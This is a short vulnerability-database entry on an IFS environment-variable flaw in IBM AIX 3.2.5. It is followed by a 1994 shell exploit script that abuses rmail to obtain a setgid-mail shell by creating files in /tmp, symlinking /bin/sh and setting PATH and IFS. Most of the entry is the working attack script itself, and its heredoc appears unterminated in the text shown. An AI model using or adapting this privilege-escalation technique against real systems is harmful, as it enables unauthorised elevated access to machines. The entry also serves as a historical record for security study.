IBM AIX <= 3.2.5 IFS Vulnerability

ID SSV:73282
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00


No description provided by source.


Under older versions of AIX By changing the IFS enviroment variable to / setuid root programs that use system() or popen() can be fooled into running user provided programs. 

# IFS hole in AIX3.2 rmail gives egid=mail. Apr. 1994

# Setup needed files.

mkdir /tmp/.rmail
cd /tmp/.rmail

cat << EOF > usr
cp sh mailsh
chmod 2777 mailsh
chmod 777 usr
ln -s /bin/sh .

# Set PATH, IFS, and run rmail.

setenv PATH .:$PATH
setenv IFS /
echo "cheezy mail hack" | rmail
unsetenv IFS
rm -f usr sh # minor cleanup.
echo "Attempting to run sgid shell."